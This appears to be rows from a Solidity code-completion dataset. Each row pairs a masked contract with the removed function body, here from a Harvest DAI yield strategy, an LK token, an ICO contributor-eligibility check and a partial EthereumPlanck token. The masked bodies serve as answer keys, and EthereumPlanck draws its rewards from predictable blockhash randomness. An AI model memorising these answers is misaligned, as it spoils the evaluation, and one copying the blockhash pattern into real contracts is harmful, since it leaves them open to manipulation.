(uint256) {<FILL_FUNCTION_BODY> } function _getPendingRewards( UserDeposits memory user, uint256 remainingAmount ) private view returns (uint256) { if (user.amountfDai == 0) { return 0; } uint256 toCalculateForAmount = 0; if (user.amountfDai <= remainingAmount) { toCalculateForAmount = user.amountfDai; } else { toCalculateForAmount = remainingAmount; } uint256 rewardPerBlock = 0; uint256 balance = IERC20(farmToken).balanceOf(address(this)); if (balance == 0) { return 0; } uint256 diff = block.timestamp.sub(firstDepositTimestamp); if (diff == 0) { rewardPerBlock = balance; } else { rewardPerBlock = balance.div(diff); } uint256 rewardPerBlockUser = rewardPerBlock.mul(block.timestamp.sub(user.timestamp)); uint256 ratio = _getRatio(toCalculateForAmount, totalDeposits, 18); return (rewardPerBlockUser.mul(ratio)).div(10**18); } function _getRatio( uint256 numerator, uint256 denominator, uint256 precision ) private pure returns (uint256) { uint256 _numerator = numerator * 10**(precision + 1); uint256 _quotient = ((_numerator / denominator) + 5) / 10; return (_quotient); } receive() external payable {} }
contract HarvestDAIStableCoin is Ownable, ReentrancyGuard { using SafeERC20 for IERC20; using SafeMath for uint256; struct UserDeposits { uint256 timestamp; uint256 amountfDai; } /// @notice Info of each user. struct UserInfo { uint256 amountDai; //how much DAI the user entered with uint256 amountfDai; //how much fDAI was obtained after deposit to vault uint256 amountReceiptToken; //receipt tokens printed for user; should be equal to amountfDai uint256 underlyingRatio; //ratio between obtained fDai and dai uint256 userTreasuryEth; //how much eth the user sent to treasury uint256 userCollectedFees; //how much eth the user sent to fee address uint256 joinTimestamp; //first deposit timestamp; taken into account for lock time bool wasUserBlacklisted; //if user was blacklist at deposit time, he is not receiving receipt tokens uint256 timestamp; //first deposit timestamp; used for withdrawal lock time check UserDeposits[] deposits; uint256 earnedTokens; //before fees uint256 earnedRewards; //before fees } mapping(address => UserInfo) public userInfo; mapping(address => bool) public blacklisted; //blacklisted users do not receive a receipt token uint256 public firstDepositTimestamp; //used to calculate reward per block uint256 public totalDeposits; uint256 public cap = uint256(1000000); //eth cap uint256 public totalDai; //total invested eth uint256 public lockTime = 10368000; //120 days address payable public feeAddress; uint256 public fee = uint256(50); uint256 constant feeFactor = uint256(10000); ReceiptToken public receiptToken; address public dai; address public weth; address public farmToken; address public harvestPoolToken; address payable public treasuryAddress; IMintNoRewardPool public harvestRewardPool; //deposit fDai IHarvestVault public harvestRewardVault; //get fDai IUniswapRouter public sushiswapRouter; uint256 public ethDust; uint256 public treasueryEthDust; //events event RewardsExchanged( address indexed user, string exchangeType, //ETH or DAI uint256 rewardsAmount, uint256 obtainedAmount ); event ExtraTokensExchanged( address indexed user, uint256 tokensAmount, uint256 obtainedEth ); event ObtainedInfo( address indexed user, uint256 underlying, uint256 underlyingReceipt ); event RewardsEarned(address indexed user, uint256 amount); event ExtraTokens(address indexed user, uint256 amount); event FeeSet(address indexed sender, uint256 feeAmount); event FeeAddressSet(address indexed sender, address indexed feeAddress); /// @notice Event emitted when blacklist status for an address changes event BlacklistChanged( string actionType, address indexed user, bool oldVal, bool newVal ); /// @notice Event emitted when user makes a deposit and receipt token is minted event ReceiptMinted(address indexed user, uint256 amount); /// @notice Event emitted when user withdraws and receipt token is burned event ReceiptBurned(address indexed user, uint256 amount); /// @notice Event emitted when user makes a deposit event Deposit( address indexed user, address indexed origin, uint256 amountDai, uint256 amountfDai ); /// @notice Event emitted when user withdraws event Withdraw( address indexed user, address indexed origin, uint256 amountDai, uint256 amountfDai, uint256 treasuryAmountEth ); /// @notice Event emitted when owner makes a rescue dust request event RescuedDust(string indexed dustType, uint256 amount); /// @notice Event emitted when owner changes any contract address event ChangedAddress( string indexed addressType, address indexed oldAddress, address indexed newAddress ); //internal mapping(address => bool) public approved; //to defend against non whitelisted contracts /// @notice Used internally for avoiding "stack-too-deep" error when depositing struct DepositData { address[] swapPath; uint256[] swapAmounts; uint256 obtainedDai; uint256 obtainedfDai; uint256 prevfDaiBalance; } /// @notice Used internally for avoiding "stack-too-deep" error when withdrawing struct WithdrawData { uint256 prevDustEthBalance; uint256 prevfDaiBalance; uint256 prevDaiBalance; uint256 obtainedfDai; uint256 obtainedDai; uint256 feeableDai; uint256 auctionedEth; uint256 auctionedDai; uint256 totalDai; uint256 rewards; uint256 farmBalance; } /** * @notice Create a new HarvestDAI contract * @param _harvestRewardVault VaultDAI address * @param _harvestRewardPool NoMintRewardPool address * @param _sushiswapRouter Sushiswap Router address * @param _harvestPoolToken Pool's underlying token address * @param _farmToken Farm address * @param _dai DAI address * @param _weth WETH address * @param _treasuryAddress treasury address * @param _receiptToken Receipt token that is minted and burned * @param _feeAddress fee address */ constructor( address _harvestRewardVault, address _harvestRewardPool, address _sushiswapRouter, address _harvestPoolToken, address _farmToken, address _dai, address _weth, address payable _treasuryAddress, address _receiptToken, address payable _feeAddress ) public { require(_harvestRewardVault != address(0), "VAULT_0x0"); require(_harvestRewardPool != address(0), "POOL_0x0"); require(_sushiswapRouter != address(0), "ROUTER_0x0"); require(_harvestPoolToken != address(0), "TOKEN_0x0"); require(_farmToken != address(0), "FARM_0x0"); require(_dai != address(0), "DAI_0x0"); require(_weth != address(0), "WETH_0x0"); require(_treasuryAddress != address(0), "TREASURY_0x0"); require(_receiptToken != address(0), "RECEIPT_0x0"); require(_feeAddress != address(0), "FEE_0x0"); harvestRewardVault = IHarvestVault(_harvestRewardVault); harvestRewardPool = IMintNoRewardPool(_harvestRewardPool); sushiswapRouter = IUniswapRouter(_sushiswapRouter); harvestPoolToken = _harvestPoolToken; farmToken = _farmToken; dai = _dai; weth = _weth; treasuryAddress = _treasuryAddress; receiptToken = ReceiptToken(_receiptToken); feeAddress = _feeAddress; } //-----------------------------------------------------------------------------------------------------------------// //------------------------------------ Setters -------------------------------------------------// //-----------------------------------------------------------------------------------------------------------------// /** * @notice Update the address of VaultDAI * @dev Can only be called by the owner * @param _harvestRewardVault Address of VaultDAI */ function setHarvestRewardVault(address _harvestRewardVault) public onlyOwner { require(_harvestRewardVault != address(0), "VAULT_0x0"); emit ChangedAddress( "VAULT", address(harvestRewardVault), _harvestRewardVault ); harvestRewardVault = IHarvestVault(_harvestRewardVault); } /** * @notice Update the address of NoMintRewardPool * @dev Can only be called by the owner * @param _harvestRewardPool Address of NoMintRewardPool */ function setHarvestRewardPool(address _harvestRewardPool) public onlyOwner { require(_harvestRewardPool != address(0), "POOL_0x0"); emit ChangedAddress( "POOL", address(harvestRewardPool), _harvestRewardPool ); harvestRewardPool = IMintNoRewardPool(_harvestRewardPool); } /** * @notice Update the address of Sushiswap Router * @dev Can only be called by the owner * @param _sushiswapRouter Address of Sushiswap Router */ function setSushiswapRouter(address _sushiswapRouter) public onlyOwner { require(_sushiswapRouter != address(0), "0x0"); emit ChangedAddress( "SUSHISWAP_ROUTER", address(sushiswapRouter), _sushiswapRouter ); sushiswapRouter = IUniswapRouter(_sushiswapRouter); } /** * @notice Update the address of Pool's underlying token * @dev Can only be called by the owner * @param _harvestPoolToken Address of Pool's underlying token */ function setHarvestPoolToken(address _harvestPoolToken) public onlyOwner { require(_harvestPoolToken != address(0), "TOKEN_0x0"); emit ChangedAddress("TOKEN", harvestPoolToken, _harvestPoolToken); harvestPoolToken = _harvestPoolToken; } /** * @notice Update the address of FARM * @dev Can only be called by the owner * @param _farmToken Address of FARM */ function setFarmToken(address _farmToken) public onlyOwner { require(_farmToken != address(0), "FARM_0x0"); emit ChangedAddress("FARM", farmToken, _farmToken); farmToken = _farmToken; } /** * @notice Update the address for fees * @dev Can only be called by the owner * @param _feeAddress Fee's address */ function setTreasury(address payable _feeAddress) public onlyOwner { require(_feeAddress != address(0), "0x0"); emit ChangedAddress( "TREASURY", address(treasuryAddress), address(_feeAddress) ); treasuryAddress = _feeAddress; } /** * @notice Approve contract (only approved contracts or msg.sender==tx.origin can call this strategy) * @dev Can only be called by the owner * @param account Contract's address */ function approveContractAccess(address account) external onlyOwner { require(account != address(0), "0x0"); approved[account] = true; } /** * @notice Revoke contract's access (only approved contracts or msg.sender==tx.origin can call this strategy) * @dev Can only be called by the owner * @param account Contract's address */ function revokeContractAccess(address account) external onlyOwner { require(account != address(0), "0x0"); approved[account] = false; } /** * @notice Blacklist address; blacklisted addresses do not receive receipt tokens * @dev Can only be called by the owner * @param account User/contract address */ function blacklistAddress(address account) external onlyOwner { require(account != address(0), "0x0"); emit BlacklistChanged("BLACKLIST", account, blacklisted[account], true); blacklisted[account] = true; } /** * @notice Remove address from blacklisted addresses; blacklisted addresses do not receive receipt tokens * @dev Can only be called by the owner * @param account User/contract address */ function removeFromBlacklist(address account) external onlyOwner { require(account != address(0), "0x0"); emit BlacklistChanged("REMOVE", account, blacklisted[account], false); blacklisted[account] = false; } /** * @notice Set max ETH cap for this strategy * @dev Can only be called by the owner * @param _cap ETH amount */ function setCap(uint256 _cap) external onlyOwner { cap = _cap; } /** * @notice Set lock time * @dev Can only be called by the owner * @param _lockTime lock time in seconds */ function setLockTime(uint256 _lockTime) external onlyOwner { require(_lockTime > 0, "TIME_0"); lockTime = _lockTime; } function setFeeAddress(address payable _feeAddress) public onlyOwner { feeAddress = _feeAddress; emit FeeAddressSet(msg.sender, _feeAddress); } function setFee(uint256 _fee) public onlyOwner { require(_fee <= uint256(9000), "FEE_TOO_HIGH"); fee = _fee; emit FeeSet(msg.sender, _fee); } /** * @notice Rescue dust resulted from swaps/liquidity * @dev Can only be called by the owner */ function rescueDust() public onlyOwner { if (ethDust > 0) { treasuryAddress.transfer(ethDust); treasueryEthDust = treasueryEthDust.add(ethDust); emit RescuedDust("ETH", ethDust); ethDust = 0; } } /** * @notice Rescue any non-reward token that was airdropped to this contract * @dev Can only be called by the owner */ function rescueAirdroppedTokens(address _token, address to) public onlyOwner { require(_token != address(0), "token_0x0"); require(to != address(0), "to_0x0"); require(_token != farmToken, "rescue_reward_error"); uint256 balanceOfToken = IERC20(_token).balanceOf(address(this)); require(balanceOfToken > 0, "balance_0"); require(IERC20(_token).transfer(to, balanceOfToken), "rescue_failed"); } /** * @notice Check if user can withdraw based on current lock time * @param user Address of the user * @return true or false */ function isWithdrawalAvailable(address user) public view returns (bool) { if (lockTime > 0) { return userInfo[user].timestamp.add(lockTime) <= block.timestamp; } return true; } /** * @notice Deposit to this strategy for rewards * @param daiAmount Amount of DAI investment * @param deadline Number of blocks until transaction expires * @return Amount of fDAI */ function deposit(uint256 daiAmount, uint256 deadline) public nonReentrant returns (uint256) { // ----- // validate // ----- _defend(); require(daiAmount > 0, "DAI_0"); require(deadline >= block.timestamp, "DEADLINE_ERROR"); require(totalDai.add(daiAmount) <= cap, "CAP_REACHED"); DepositData memory results; UserInfo storage user = userInfo[msg.sender]; if (user.amountfDai == 0) { user.wasUserBlacklisted = blacklisted[msg.sender]; } if (user.timestamp == 0) { user.timestamp = block.timestamp; } IERC20(dai).safeTransferFrom(msg.sender, address(this), daiAmount); totalDai = totalDai.add(daiAmount); user.amountDai = user.amountDai.add(daiAmount); results.obtainedDai = daiAmount; // ----- // deposit DAI into harvest and get fDAI // ----- IERC20(dai).safeIncreaseAllowance( address(harvestRewardVault), results.obtainedDai ); results.prevfDaiBalance = IERC20(harvestPoolToken).balanceOf( address(this) ); harvestRewardVault.deposit(results.obtainedDai); results.obtainedfDai = ( IERC20(harvestPoolToken).balanceOf(address(this)) ) .sub(results.prevfDaiBalance); // ----- // stake fDAI into the NoMintRewardPool // ----- IERC20(harvestPoolToken).safeIncreaseAllowance( address(harvestRewardPool), results.obtainedfDai ); user.amountfDai = user.amountfDai.add(results.obtainedfDai); if (!user.wasUserBlacklisted) { user.amountReceiptToken = user.amountReceiptToken.add( results.obtainedfDai ); receiptToken.mint(msg.sender, results.obtainedfDai); emit ReceiptMinted(msg.sender, results.obtainedfDai); } harvestRewardPool.stake(results.obtainedfDai); emit Deposit( msg.sender, tx.origin, results.obtainedDai, results.obtainedfDai ); if (firstDepositTimestamp == 0) { firstDepositTimestamp = block.timestamp; } if (user.joinTimestamp == 0) { user.joinTimestamp = block.timestamp; } totalDeposits = totalDeposits.add(results.obtainedfDai); harvestRewardPool.getReward(); //transfers FARM to this contract user.deposits.push( UserDeposits({ timestamp: block.timestamp, amountfDai: results.obtainedfDai }) ); user.underlyingRatio = _getRatio(user.amountfDai, user.amountDai, 18); return results.obtainedfDai; } function _updateDeposits( bool removeAll, uint256 remainingAmountfDai, address account ) private { UserInfo storage user = userInfo[account]; if (removeAll) { delete user.deposits; return; } for (uint256 i = user.deposits.length; i > 0; i--) { if (remainingAmountfDai >= user.deposits[i - 1].amountfDai) { remainingAmountfDai = remainingAmountfDai.sub( user.deposits[i - 1].amountfDai ); user.deposits[i - 1].amountfDai = 0; } else { user.deposits[i - 1].amountfDai = user.deposits[i - 1] .amountfDai .sub(remainingAmountfDai); remainingAmountfDai = 0; } if (remainingAmountfDai == 0) { break; } } } /** * @notice Withdraw tokens and claim rewards * @param deadline Number of blocks until transaction expires * @return Amount of ETH obtained */ function withdraw(uint256 amount, uint256 deadline) public nonReentrant returns (uint256) { // ----- // validation // ----- uint256 receiptBalance = receiptToken.balanceOf(msg.sender); _defend(); require(deadline >= block.timestamp, "DEADLINE_ERROR"); require(amount > 0, "AMOUNT_0"); UserInfo storage user = userInfo[msg.sender]; require(user.amountfDai >= amount, "AMOUNT_GREATER_THAN_BALANCE"); if (!user.wasUserBlacklisted) { require( receiptBalance >= user.amountReceiptToken, "RECEIPT_AMOUNT" ); } if (lockTime > 0) { require( user.timestamp.add(lockTime) <= block.timestamp, "LOCK_TIME" ); } WithdrawData memory results; results.prevDustEthBalance = address(this).balance; // ----- // withdraw from NoMintRewardPool and get fDai back // ----- results.prevfDaiBalance = IERC20(harvestPoolToken).balanceOf( address(this) ); IERC20(harvestPoolToken).safeIncreaseAllowance( address(harvestRewardPool), amount ); harvestRewardPool.getReward(); //transfers FARM to this contract results.farmBalance = IERC20(farmToken).balanceOf(address(this)); results.rewards = getPendingRewards(msg.sender, amount); _updateDeposits(amount == user.amountfDai, amount, msg.sender); harvestRewardPool.withdraw(amount); results.obtainedfDai = ( IERC20(harvestPoolToken).balanceOf(address(this)) ) .sub(results.prevfDaiBalance); //not sure if it's possible to get more from harvest so better to protect if (results.obtainedfDai < user.amountfDai) { user.amountfDai = user.amountfDai.sub(results.obtainedfDai); if (!user.wasUserBlacklisted) { user.amountReceiptToken = user.amountReceiptToken.sub( results.obtainedfDai ); receiptToken.burn(msg.sender, results.obtainedfDai); emit ReceiptBurned(msg.sender, results.obtainedfDai); } } else { user.amountfDai = 0; if (!user.wasUserBlacklisted) { receiptToken.burn(msg.sender, user.amountReceiptToken); emit ReceiptBurned(msg.sender, user.amountReceiptToken); user.amountReceiptToken = 0; } } // ----- // withdraw from Harvest-DAI vault and get Dai back // ----- IERC20(harvestPoolToken).safeIncreaseAllowance( address(harvestRewardVault), results.obtainedfDai ); results.prevDaiBalance = IERC20(dai).balanceOf(address(this)); harvestRewardVault.withdraw(results.obtainedfDai); results.obtainedDai = (IERC20(dai).balanceOf(address(this))).sub( results.prevDaiBalance ); emit ObtainedInfo( msg.sender, results.obtainedDai, results.obtainedfDai ); if (amount == user.amountfDai) { //there is no point to do the ratio math as we can just get the difference between current obtained tokens and initial obtained tokens if (results.obtainedDai > user.amountDai) { results.feeableDai = results.obtainedDai.sub(user.amountDai); } } else { uint256 currentRatio = _getRatio(results.obtainedfDai, results.obtainedDai, 18); results.feeableDai = 0; if (currentRatio < user.underlyingRatio) { uint256 noOfOriginalTokensForCurrentAmount = (amount.mul(10**18)).div(user.underlyingRatio); if (noOfOriginalTokensForCurrentAmount < results.obtainedDai) { results.feeableDai = results.obtainedDai.sub( noOfOriginalTokensForCurrentAmount ); } } } if (results.feeableDai > 0) { uint256 extraTokensFee = _calculateFee(results.feeableDai); emit ExtraTokens( msg.sender, results.feeableDai.sub(extraTokensFee) ); user.earnedTokens = user.earnedTokens.add( results.feeableDai.sub(extraTokensFee) ); } //not sure if it's possible to get more from harvest so better to protect if (results.obtainedDai <= user.amountDai) { user.amountDai = user.amountDai.sub(results.obtainedDai); } else { user.amountDai = 0; } results.obtainedDai = results.obtainedDai.sub(results.feeableDai); //feeableDai/2 => goes to the user //feeableDai/2 => goes to the treasury in ETH //obtainedDai => goes to the user results.auctionedDai = 0; if (results.feeableDai > 0) { results.auctionedDai = results.feeableDai.div(2); } results.feeableDai = results.feeableDai.sub(results.auctionedDai); results.totalDai = results.obtainedDai.add(results.feeableDai); // ----- // swap auctioned DAI to ETH // ----- address[] memory swapPath = new address[](2); swapPath[0] = dai; swapPath[1] = weth; if (results.auctionedDai > 0) { uint256[] memory daiFeeableSwapAmounts = sushiswapRouter.swapExactTokensForETH( results.auctionedDai, uint256(0), swapPath, address(this), deadline ); emit ExtraTokensExchanged( msg.sender, results.auctionedDai, daiFeeableSwapAmounts[daiFeeableSwapAmounts.length - 1] ); results.auctionedEth = results.auctionedEth.add( daiFeeableSwapAmounts[daiFeeableSwapAmounts.length - 1] ); } uint256 transferableRewards = results.rewards; if (transferableRewards > results.farmBalance) { transferableRewards = results.farmBalance; } if (transferableRewards > 0) { emit RewardsEarned(msg.sender, transferableRewards); user.earnedRewards = user.earnedRewards.add(transferableRewards); //swap 50% of rewards with ETH and add them to results.auctionedEth uint256 auctionedRewards = transferableRewards.div(2); //swap 50% of rewards with DAI and add them to results.totalDai uint256 userRewards = transferableRewards.sub(auctionedRewards); swapPath[0] = farmToken; IERC20(farmToken).safeIncreaseAllowance( address(sushiswapRouter), transferableRewards ); //swap 50% of rewards with ETH and add them to auctionedEth uint256[] memory farmSwapAmounts = sushiswapRouter.swapExactTokensForETH( auctionedRewards, uint256(0), swapPath, address(this), deadline ); emit RewardsExchanged( msg.sender, "ETH", auctionedRewards, farmSwapAmounts[farmSwapAmounts.length - 1] ); results.auctionedEth = results.auctionedEth.add( farmSwapAmounts[farmSwapAmounts.length - 1] ); //however, it should be > 0 if (userRewards > 0) { farmSwapAmounts = sushiswapRouter.swapExactTokensForETH( userRewards, uint256(0), swapPath, address(this), deadline ); swapPath[0] = weth; swapPath[1] = dai; farmSwapAmounts = sushiswapRouter.swapExactETHForTokens{ value: farmSwapAmounts[farmSwapAmounts.length - 1] }(uint256(0), swapPath, address(this), deadline); emit RewardsExchanged( msg.sender, "DAI", userRewards, farmSwapAmounts[farmSwapAmounts.length - 1] ); results.totalDai = results.totalDai.add( farmSwapAmounts[farmSwapAmounts.length - 1] ); } } // ----- // transfer ETH to user // ----- totalDeposits = totalDeposits.sub(results.obtainedfDai); if (user.amountfDai == 0) //full exit { //if user exits to early, obtained ETH might be lower than what user initially invested and there will be some left in amountEth //making sure we reset it user.amountDai = 0; } else { if (user.amountDai > results.totalDai) { user.amountDai = user.amountDai.sub(results.totalDai); } else { user.amountDai = 0; } } if (results.totalDai < totalDai) { totalDai = totalDai.sub(results.totalDai); } else { totalDai = 0; } //at some point we might not have any fees if (fee > 0) { uint256 feeDai = _calculateFee(results.totalDai); results.totalDai = results.totalDai.sub(feeDai); swapPath[0] = dai; swapPath[1] = weth; IERC20(dai).safeIncreaseAllowance(address(sushiswapRouter), feeDai); uint256[] memory feeSwapAmount = sushiswapRouter.swapExactTokensForETH( feeDai, uint256(0), swapPath, address(this), deadline ); feeAddress.transfer(feeSwapAmount[feeSwapAmount.length - 1]); user.userCollectedFees = user.userCollectedFees.add( feeSwapAmount[feeSwapAmount.length - 1] ); } IERC20(dai).safeTransfer(msg.sender, results.totalDai); treasuryAddress.transfer(results.auctionedEth); user.userTreasuryEth = user.userTreasuryEth.add(results.auctionedEth); emit Withdraw( msg.sender, tx.origin, results.obtainedDai, results.obtainedfDai, results.auctionedEth ); ethDust = ethDust.add( address(this).balance.sub(results.prevDustEthBalance) ); if (user.amountfDai == 0 || user.amountDai == 0) { user.underlyingRatio = 0; } else { user.underlyingRatio = _getRatio( user.amountfDai, user.amountDai, 18 ); } return results.totalDai; } /// @notice Transfer rewards to this strategy function updateReward() public onlyOwner { harvestRewardPool.getReward(); } function _calculateFee(uint256 amount) private view returns (uint256) { return (amount.mul(fee)).div(feeFactor); } function _defend() private view returns (bool) { require( approved[msg.sender] || msg.sender == tx.origin, "access_denied" ); } <FILL_FUNCTION> function _getPendingRewards( UserDeposits memory user, uint256 remainingAmount ) private view returns (uint256) { if (user.amountfDai == 0) { return 0; } uint256 toCalculateForAmount = 0; if (user.amountfDai <= remainingAmount) { toCalculateForAmount = user.amountfDai; } else { toCalculateForAmount = remainingAmount; } uint256 rewardPerBlock = 0; uint256 balance = IERC20(farmToken).balanceOf(address(this)); if (balance == 0) { return 0; } uint256 diff = block.timestamp.sub(firstDepositTimestamp); if (diff == 0) { rewardPerBlock = balance; } else { rewardPerBlock = balance.div(diff); } uint256 rewardPerBlockUser = rewardPerBlock.mul(block.timestamp.sub(user.timestamp)); uint256 ratio = _getRatio(toCalculateForAmount, totalDeposits, 18); return (rewardPerBlockUser.mul(ratio)).div(10**18); } function _getRatio( uint256 numerator, uint256 denominator, uint256 precision ) private pure returns (uint256) { uint256 _numerator = numerator * 10**(precision + 1); uint256 _quotient = ((_numerator / denominator) + 5) / 10; return (_quotient); } receive() external payable {} }
UserInfo storage user = userInfo[account]; if (amount == 0) { amount = user.amountfDai; } if (user.deposits.length == 0 || user.amountfDai == 0) { return 0; } uint256 rewards = 0; uint256 remaingAmount = amount; uint256 i = user.deposits.length - 1; while (remaingAmount > 0) { uint256 depositRewards = _getPendingRewards(user.deposits[i], remaingAmount); rewards = rewards.add(depositRewards); if (remaingAmount >= user.deposits[i].amountfDai) { remaingAmount = remaingAmount.sub(user.deposits[i].amountfDai); } else { remaingAmount = 0; } if (i == 0) { break; } i = i.sub(1); } return rewards;
function getPendingRewards(address account, uint256 amount) public view returns (uint256)
//-----------------------------------------------------------------------------------------------------------------// //------------------------------------ Getters -------------------------------------------------// //-----------------------------------------------------------------------------------------------------------------// /** * @notice View function to see pending rewards for account. * @param account user account to check * @param amount amount you want to calculate for; if 0 will calculate for entire amount * @return pending rewards */ function getPendingRewards(address account, uint256 amount) public view returns (uint256)
31189
LKToken
LKToken
contract LKToken is StandardToken { string public constant name = "莱克币"; string public constant symbol = "LK"; uint256 public constant decimals = 18; /** * @dev Creates a new LKToken instance */ function LKToken()public {<FILL_FUNCTION_BODY> } }
contract LKToken is StandardToken { string public constant name = "莱克币"; string public constant symbol = "LK"; uint256 public constant decimals = 18; <FILL_FUNCTION> }
totalSupply = 10 * (10 ** 8) * (10 ** 18); balances[0xbd21453fc62b730ddeba9fe22fbe7cffcedebebd] = totalSupply; emit Transfer(0, 0xbd21453fc62b730ddeba9fe22fbe7cffcedebebd, totalSupply );
function LKToken()public
/** * @dev Creates a new LKToken instance */ function LKToken()public
3446
ContributorApprover
eligible
contract ContributorApprover { Whitelist public list; mapping (address => uint) public participated; uint public presaleStartTime; uint public remainingPresaleCap; uint public remainingPublicSaleCap; uint public openSaleStartTime; uint public openSaleEndTime; using SafeMath for uint; function ContributorApprover( Whitelist _whitelistContract, uint preIcoCap, uint IcoCap, uint _presaleStartTime, uint _openSaleStartTime, uint _openSaleEndTime) { list = _whitelistContract; openSaleStartTime = _openSaleStartTime; openSaleEndTime = _openSaleEndTime; presaleStartTime = _presaleStartTime; remainingPresaleCap = preIcoCap * 10 ** 18; remainingPublicSaleCap = IcoCap * 10 ** 18; // Check that presale is earlier than opensale require(presaleStartTime < openSaleStartTime); // Check that open sale start is earlier than end require(openSaleStartTime < openSaleEndTime); } // this is a seperate function so user could query it before crowdsale starts function contributorCap(address contributor) constant returns (uint) { return list.getCap(contributor); } function eligible(address contributor, uint amountInWei) constant returns (uint) {<FILL_FUNCTION_BODY> } function eligibleTestAndIncrement(address contributor, uint amountInWei) internal returns (uint) { uint result = eligible(contributor, amountInWei); participated[contributor] = participated[contributor].add(result); // Presale if (now < openSaleStartTime) { // Decrement presale cap remainingPresaleCap = remainingPresaleCap.sub(result); } // Publicsale else { // Decrement publicsale cap remainingPublicSaleCap = remainingPublicSaleCap.sub(result); } return result; } function saleEnded() constant returns (bool) { return now > openSaleEndTime; } function saleStarted() constant returns (bool) { return now >= presaleStartTime; } function publicSaleStarted() constant returns (bool) { return now >= openSaleStartTime; } }
contract ContributorApprover { Whitelist public list; mapping (address => uint) public participated; uint public presaleStartTime; uint public remainingPresaleCap; uint public remainingPublicSaleCap; uint public openSaleStartTime; uint public openSaleEndTime; using SafeMath for uint; function ContributorApprover( Whitelist _whitelistContract, uint preIcoCap, uint IcoCap, uint _presaleStartTime, uint _openSaleStartTime, uint _openSaleEndTime) { list = _whitelistContract; openSaleStartTime = _openSaleStartTime; openSaleEndTime = _openSaleEndTime; presaleStartTime = _presaleStartTime; remainingPresaleCap = preIcoCap * 10 ** 18; remainingPublicSaleCap = IcoCap * 10 ** 18; // Check that presale is earlier than opensale require(presaleStartTime < openSaleStartTime); // Check that open sale start is earlier than end require(openSaleStartTime < openSaleEndTime); } // this is a seperate function so user could query it before crowdsale starts function contributorCap(address contributor) constant returns (uint) { return list.getCap(contributor); } <FILL_FUNCTION> function eligibleTestAndIncrement(address contributor, uint amountInWei) internal returns (uint) { uint result = eligible(contributor, amountInWei); participated[contributor] = participated[contributor].add(result); // Presale if (now < openSaleStartTime) { // Decrement presale cap remainingPresaleCap = remainingPresaleCap.sub(result); } // Publicsale else { // Decrement publicsale cap remainingPublicSaleCap = remainingPublicSaleCap.sub(result); } return result; } function saleEnded() constant returns (bool) { return now > openSaleEndTime; } function saleStarted() constant returns (bool) { return now >= presaleStartTime; } function publicSaleStarted() constant returns (bool) { return now >= openSaleStartTime; } }
// Presale not started yet if (now < presaleStartTime) return 0; // Both presale and public sale have ended if (now >= openSaleEndTime) return 0; // Presale if (now < openSaleStartTime) { // Presale cap limit reached if (remainingPresaleCap <= 0) { return 0; } // Get initial cap uint cap = contributorCap(contributor); // Account for already invested amount uint remainedCap = cap.sub(participated[contributor]); // Presale cap almost reached if (remainedCap > remainingPresaleCap) { remainedCap = remainingPresaleCap; } // Remaining cap is bigger than contribution if (remainedCap > amountInWei) return amountInWei; // Remaining cap is smaller than contribution else return remainedCap; } // Public sale else { // Public sale cap limit reached if (remainingPublicSaleCap <= 0) { return 0; } // Public sale cap almost reached if (amountInWei > remainingPublicSaleCap) { return remainingPublicSaleCap; } // Public sale cap is bigger than contribution else { return amountInWei; } }
function eligible(address contributor, uint amountInWei) constant returns (uint)
function eligible(address contributor, uint amountInWei) constant returns (uint)
6294
EthereumPlanck
null
contract EthereumPlanck { string public name; string public symbol; uint8 public decimals = 18; uint256 public totalSupply; address payable public fundsWallet; uint256 public maximumTarget; uint256 public lastBlock; uint256 public rewardTimes; uint256 public genesisReward; uint256 public premined; uint256 public nRewarMod; uint256 public nWtime; uint256 public totalReceived; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event Burn(address indexed from, uint256 value); constructor( uint256 initialSupply, string memory tokenName, string memory tokenSymbol ) public {<FILL_FUNCTION_BODY> } function _transfer(address _from, address _to, uint _value) internal { require(_to != address(0x0)); require(balanceOf[_from] >= _value); require(balanceOf[_to] + _value >= balanceOf[_to]); uint previousBalances = balanceOf[_from] + balanceOf[_to]; balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } function transfer(address _to, uint256 _value) public returns (bool success) { _transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function approveAndCall(address _spender, uint256 _value, bytes memory _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, address(this), _extraData); return true; } } function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); // Check if the sender has enough balanceOf[msg.sender] -= _value; // Subtract from the sender totalSupply -= _value; // Updates totalSupply emit Burn(msg.sender, _value); return true; } function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); // Check if the targeted balance is enough require(_value <= allowance[_from][msg.sender]); // Check allowance balanceOf[_from] -= _value; // Subtract from the targeted balance allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance totalSupply -= _value; // Update totalSupply emit Burn(_from, _value); return true; } function uintToString(uint256 v) internal pure returns(string memory str) { uint maxlength = 100; bytes memory reversed = new bytes(maxlength); uint i = 0; while (v != 0) { uint remainder = v % 10; v = v / 10; reversed[i++] = byte(uint8(48 + remainder)); } bytes memory s = new bytes(i + 1); for (uint j = 0; j <= i; j++) { s[j] = reversed[i - j]; } str = string(s); } function append(string memory a, string memory b) internal pure returns (string memory) { return string(abi.encodePacked(a,"-",b)); } function getblockhash() public view returns (uint256) { return uint256(blockhash(block.number-1)); } function getspesificblockhash(uint256 _blocknumber) public view returns(uint256, uint256){ uint256 crew = uint256(blockhash(_blocknumber)) % nRewarMod; return (crew, block.number-1); } function checkRewardStatus() public view returns (uint256, uint256) { uint256 crew = uint256(blockhash(block.number-1)) % nRewarMod; return (crew, block.number-1); } struct sdetails { uint256 _stocktime; uint256 _stockamount; } address[] totalminers; mapping (address => sdetails) nStockDetails; struct rewarddetails { uint256 _artyr; bool _didGetReward; } mapping (string => rewarddetails) nRewardDetails; struct nBlockDetails { uint256 _bTime; uint256 _tInvest; } mapping (uint256 => nBlockDetails) bBlockIteration; struct activeMiners { address bUser; } 